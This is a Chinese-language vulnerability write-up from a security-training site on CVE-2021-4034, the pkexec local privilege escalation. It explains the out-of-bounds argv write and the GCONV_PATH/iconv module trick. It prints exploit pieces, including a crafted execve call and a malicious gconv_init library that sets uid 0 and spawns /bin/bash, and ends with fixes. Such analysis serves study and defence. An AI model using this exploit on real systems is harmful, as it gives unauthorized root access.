当前位置:网站首页 > 黑客培训 > 正文

CVE-2021-4034 pkexec 本地提权漏洞分析

freebuffreebuf 2022-02-16 354 0

本文来源:

CVE-2021-4034 pkexec 本地提权

1.漏洞编号

CVE-2021-4034

2.影响范围

2021以前发行版

3.漏洞详情

此漏洞exp利用流程上来说,可以分为两个部分

1.设置恶意环境变量

2.通过恶意环境变量执行命令

3.1 设置恶意环境变量

pkexec 源码地址

https://gitlab.freedesktop.org/polkit/polkit/-/blob/0.120/src/programs/pkexec.c

在533行,n被赋值为1

610行,存在越界读取,我们执行pkexec的时候,不传参数,argv数组只有默认的0下标,1是不存在

那么argv[1]是什么呢?

当我们执行一个程序时,内核会将我们的参数、环境字符串和指针(argv 和 envp)复制到新程序堆栈的末尾;如下所示:

|---------+---------+-----+------------|---------+---------+-----+------------| | argv[0] | argv[1] | ... | argv[argc] | envp[0] | envp[1] | ... | envp[envc] | |----|----+----|----+-----+-----|------|----|----+----|----+-----+-----|------|      V         V                V           V         V                V  "program" "-option"           NULL      "value" "PATH=name"          NULL 

因为argv和envp指针在内存中是连续的,那么argv[1]实际上指向的是envp[0]

通过给argv[1] 赋值就能修改环境变量

在632行,调用了g_find_program_in_path函数

根据glib的源码,这个函数是用来在PATH中搜索传参的绝对路径的,比如传参id,返回是/usr/bin/id,然后在639行将返回值越界写入了argv[1],也就是第一个环境变量

根据这个流程,我们使用如下代码,可以做到设置恶意环境变量

shell创建文件夹 mkdir GCONV_PATH\=.,在目录中创建test文件

char *a_argv[]={ NULL }; char *a_envp[]={         "test",         "PATH=GCONV_PATH=.",         NULL     }; execve("/usr/bin/pkexec", a_argv, a_envp); 

经过g_find_program_in_path函数以后,在我们创建的畸形目录中搜索到了test文件,此时envp[0]的的值为GCONV_PATH=./test

恶意环境变量完成,然后这里就有一个问题,我们费劲巴拉搞半天,就为了把GCONV_PATH设置到环境变量,为什么不直接通过execve函数把环境变量传进入呢?

当时这里我也没理解,后来看先知上的23R3F师傅的文章才搞懂了,linux 的动态连接器ld-linux-x86-64.so.2 会在特权程序执行的时候清除敏感环境变量。

我们可以测试一下,id为没有赋予suid权限,成功输出了hello。

pkexec有suid权限,LD_PRELOAD其实是没有生效的。

我个人的理解就是,在linux里面定义的这些敏感环境变量,触发suid程序自己本身setenv了,否则外部是无效的


3.2通过恶意环境变量执行命令

走到670行,

用for遍历environment_variables_to_save作key,去环境变量中取值

然后传给函数validate_environment_variable,此函数是检测shell是否合法的,需要通过这个函数来触发关键函数g_printerrr

有两种方法,传环境变量SHELL=test,或者走第二个if,XAUTHORITY=..

g_printerr中间接调用了linux的iconv_open函数,调用链如下

strdup_convert() <- glib/gmessages.c:1126 g_convert_with_fallback() <- glib/gmessages.c:676 g_convert() <- glib/gconvert.c:972 open_converter() <- glib/gconvert.c:876 g_iconv_open() <- glib/gconvert.c:637 try_conversion() <- glib/gconvert.c:260 iconv_open() <- glib/gconvert.c:208 

iconv_open函数会根据环境变量中的GCONV_PATH的目录下的gconv-modules文件

文件内容如下

表示UTF-8转换到LANYI编码,需要用到lanyi.so,1表示表示转换成本的数值。如果缺少该单词,则假定成本为1,我们将恶意的lanyi.so放到当前目录下,然后通过网上的一段demo来测试是否能正常加载so

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <iconv.h>  int main(int argc, char **argv) {   /* 目的编码, TRANSLIT:遇到无法转换的字符就找相近字符替换    *          IGNORE  :遇到无法转换字符跳过*/   //char *encTo = "UNICODE//TRANSLIT";   setenv("GCONV_PATH", "./", 1);   char *encTo = "LANYI";   /* 源编码 */   char *encFrom = "UTF-8";    /* 获得转换句柄    *@param encTo 目标编码方式    *@param encFrom 源编码方式    *    * */   iconv_t cd = iconv_open (encTo, encFrom);   if (cd == (iconv_t)-1)   {       perror ("iconv_open");   }    /* 需要转换的字符串 */   char inbuf[1024] = "abcdef哈哈哈哈行";    size_t srclen = strlen (inbuf);   /* 打印需要转换的字符串的长度 */   printf("srclen=%d\n", srclen);    /* 存放转换后的字符串 */   size_t outlen = 1024;   char outbuf[outlen];   memset (outbuf, 0, outlen);    /* 由于iconv()函数会修改指针,所以要保存源指针 */   char *srcstart = inbuf;   char *tempoutbuf = outbuf;    /* 进行转换    *@param cd iconv_open()产生的句柄    *@param srcstart 需要转换的字符串    *@param srclen 存放还有多少字符没有转换    *@param tempoutbuf 存放转换后的字符串    *@param outlen 存放转换后,tempoutbuf剩余的空间    *    * */   size_t ret = iconv (cd, &srcstart, &srclen, &tempoutbuf, &outlen);   if (ret == -1)   {       perror ("iconv");   }   printf ("inbuf=%s, srclen=%d, outbuf=%s, outlen=%d\n", inbuf, srclen, outbuf, outlen);   int i = 0;   for (i=0; i<strlen(outbuf); i++)   {       printf("%x\n", outbuf[i]);   } /* 关闭句柄 */   iconv_close (cd);    return 0; } 

hello被成功执行,我的so没有实现gonv_init函数,所以报错了

exp:


#include <stdio.h> #include <stdlib.h> #include <unistd.h>  void gconv(){     return; }  void gconv_init() {     setuid(0);      seteuid(0);      setgid(0);     setegid(0);     static char *a_argv[] = {"bash", NULL };     static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };     execve("/bin/bash", a_argv, a_envp);     exit(0); } 

编译gcc -o lanyi.so -shared -fPIC lanyi.c

然后按照前面的流程,越界写入环境变量即可,执行so文件

3.3漏洞复现

4.漏洞修复

1.更新到polkit最新版本

2.取消pkexec的suid权限

5.参考文章

https://saucer-man.com/information_security/876.htmlhttps://xz.aliyun.com/t/10870

转载请注明来自网盾网络安全培训,本文标题:《CVE-2021-4034 pkexec 本地提权漏洞分析》

标签:环境变量char函数linux环境变量

关于我

欢迎关注微信公众号

关于我们

网络安全培训,黑客培训,渗透培训,ctf,攻防

标签列表